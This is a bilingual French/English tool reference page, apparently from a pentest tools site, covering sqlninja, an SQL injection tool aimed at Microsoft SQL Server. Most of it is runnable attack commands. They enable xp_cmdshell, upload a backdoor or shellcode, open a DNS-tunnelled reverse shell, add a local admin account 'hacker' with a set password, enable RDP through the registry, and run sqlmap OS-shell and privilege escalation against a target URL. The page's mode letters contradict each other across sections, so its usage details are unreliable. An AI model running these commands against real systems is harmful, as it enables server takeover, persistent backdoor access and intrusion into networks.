← retour aux outils back to tools

# sqlninja

Outil d'exploitation d'injection SQL ciblant Microsoft SQL Server. Upload du shellcode, active xp_cmdshell, escalade les privilèges, et fournit un accès shell via injection SQL. SQL injection exploitation tool targeting Microsoft SQL Server. Uploads shellcode, enables xp_cmdshell, escalates privileges, and provides shell access via SQL injection.

↗ http://sqlninja.sourceforge.net/

## Overview

sqlninja exploits SQL injection vulnerabilities in web applications backed by Microsoft SQL Server. Unlike sqlmap’s focus on data extraction, sqlninja focuses on gaining OS-level access — enabling xp_cmdshell, uploading binaries, adding OS users, and establishing reverse shells through SQL injection.

## Basic Usage

    # Configure target in sqlninja.conf first
    # Then run modes:

Test SQL injection and connectivity

    sqlninja -m t

Enumerate users, databases, version

    sqlninja -m f

Try to enable xp_cmdshell

    sqlninja -m x

Upload and execute a backdoor

    sqlninja -m b

Get reverse shell via DNS tunneling

    sqlninja -m d

## Configuration (sqlninja.conf)

Edit configuration file

    nano /etc/sqlninja/sqlninja.conf

    # Key settings:
    # httprequest_file = /tmp/request.txt  (captured HTTP request)
    # mssql_version = 2005                 (or 2000, 2008, 2012+)
    # domain = <yourdomain>                (for DNS tunnel)
    # dnssrv = <your_dns_server>

    # Capture the vulnerable HTTP request with Burp/browser:
    # Save the request body to a file and reference it

## Modes

-m t : Test mode — verify SQL injection exists

    sqlninja -m t -f sqlninja.conf

-m f : Fingerprint — enumerate SQL Server version, user, databases

    sqlninja -m f

-m x : xp_cmdshell — enable extended stored procedures

    sqlninja -m x

-m e : Execute command via xp_cmdshell

    sqlninja -m e -c "whoami"

-m b : Backchannel via DNS (requires configured DNS server)

    sqlninja -m b

-m d : Upload metasploit payload

    sqlninja -m d

-m s : Upload shellcode

    sqlninja -m s

-m p : Pivoting

    sqlninja -m p

## xp_cmdshell Exploitation

    # Once xp_cmdshell is enabled, run OS commands:
    sqlninja -m e -c "whoami"
    sqlninja -m e -c "net user"
    sqlninja -m e -c "ipconfig"

    # Add admin user
    sqlninja -m e -c "net user hacker P@ssw0rd /add"
    sqlninja -m e -c "net localgroup administrators hacker /add"

RDP enable

    sqlninja -m e -c "reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"

## Alternative: sqlmap for MSSQL

    # sqlmap is often more reliable for data extraction
    # Use sqlninja for OS shell access

    # sqlmap OS shell via xp_cmdshell
    sqlmap -u "http://target/vuln.asp?id=1" --os-shell
    sqlmap -u "http://target/vuln.asp?id=1" --os-cmd "whoami"

sqlmap privilege escalation

    sqlmap -u "http://target/vuln.asp?id=1" --priv-esc

## Tips

- sqlninja is specifically for MSSQL — use sqlmap for MySQL, PostgreSQL, Oracle
- xp_cmdshell must be enabled by SA (sysadmin) — check if DB user has sysadmin first
- DNS backchannel is useful when outbound TCP is blocked but DNS is allowed
- Captured Burp request format works directly — intercept the vulnerable request and save to file

Help / Man page

    sqlninja [options]

    -m MODE     Mode:
                t = test for SQL injection
                f = fingerprint
                x = try to enable xp_cmdshell
                e = execute command
                s = upload shellcode
                b = backchannel via DNS
                d = download file
                p = port scanning via SQL Server
                l = privilege escalation

    -f FILE     Config file (default: sqlninja.conf)
    -c CMD      Command to execute (for -m e)
    -p PORT     Port for connect-back
    -v          Verbose

## Vue d’ensemble

sqlninja exploite les vulnérabilités d’injection SQL dans les applications web adossées à Microsoft SQL Server. Contrairement à sqlmap qui se concentre sur l’extraction de données, sqlninja se concentre sur l’obtention d’un accès au niveau OS : activer xp_cmdshell, uploader des binaires, ajouter des utilisateurs OS et établir des reverse shells via injection SQL.

## Utilisation de base

    # Configurer la cible dans sqlninja.conf d'abord
    # Puis lancer les modes :

    # Tester l'injection SQL et la connectivité
    sqlninja -m t

    # Énumérer utilisateurs, bases de données, version
    sqlninja -m f

    # Essayer d'activer xp_cmdshell
    sqlninja -m x

    # Uploader et exécuter une backdoor
    sqlninja -m b

    # Obtenir un reverse shell via tunneling DNS
    sqlninja -m d

## Configuration (sqlninja.conf)

    nano /etc/sqlninja/sqlninja.conf

    # Paramètres clés :
    # httprequest_file = /tmp/request.txt  (requête HTTP capturée)
    # mssql_version = 2005                 (ou 2000, 2008, 2012+)
    # domain = <yourdomain>                (pour le tunnel DNS)
    # dnssrv = <your_dns_server>

    # Capturer la requête HTTP vulnérable avec Burp/navigateur :
    # Sauvegarder le corps de la requête dans un fichier et le référencer

## Modes

    # -m t : mode test, vérifier qu'une injection SQL existe
    sqlninja -m t -f sqlninja.conf

    # -m f : fingerprint, énumérer la version SQL Server, l'utilisateur, les bases
    sqlninja -m f

    # -m x : xp_cmdshell, activer les procédures stockées étendues
    sqlninja -m x

    # -m e : exécuter une commande via xp_cmdshell
    sqlninja -m e -c "whoami"

    # -m b : backchannel via DNS (nécessite un serveur DNS configuré)
    sqlninja -m b

    # -m d : uploader un payload metasploit
    sqlninja -m d

    # -m s : uploader un shellcode
    sqlninja -m s

    # -m p : pivoting
    sqlninja -m p

## Exploitation via xp_cmdshell

    # Une fois xp_cmdshell activé, exécuter des commandes OS :
    sqlninja -m e -c "whoami"
    sqlninja -m e -c "net user"
    sqlninja -m e -c "ipconfig"

    # Ajouter un utilisateur admin
    sqlninja -m e -c "net user hacker P@ssw0rd /add"
    sqlninja -m e -c "net localgroup administrators hacker /add"

Activer RDP

    sqlninja -m e -c "reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"

## Alternative : sqlmap pour MSSQL

    # sqlmap est souvent plus fiable pour l'extraction de données
    # Utiliser sqlninja pour l'accès shell OS

    # Shell OS sqlmap via xp_cmdshell
    sqlmap -u "http://target/vuln.asp?id=1" --os-shell
    sqlmap -u "http://target/vuln.asp?id=1" --os-cmd "whoami"

Escalade de privilèges sqlmap

    sqlmap -u "http://target/vuln.asp?id=1" --priv-esc

## Conseils

- sqlninja est spécifiquement pour MSSQL : utiliser sqlmap pour MySQL, PostgreSQL, Oracle
- xp_cmdshell doit être activé par le SA (sysadmin) : vérifier d’abord si l’utilisateur DB a les droits sysadmin
- Le backchannel DNS est utile quand le TCP sortant est bloqué mais le DNS autorisé
- Le format de requête capturée par Burp fonctionne directement : intercepter la requête vulnérable et la sauvegarder dans un fichier

Aide / Page de manuel

    sqlninja [options]

    -m MODE     Mode:
                t = test for SQL injection
                f = fingerprint
                x = try to enable xp_cmdshell
                e = execute command
                s = upload shellcode
                b = backchannel via DNS
                d = download file
                p = port scanning via SQL Server
                l = privilege escalation

    -f FILE     Config file (default: sqlninja.conf)
    -c CMD      Command to execute (for -m e)
    -p PORT     Port for connect-back
    -v          Verbose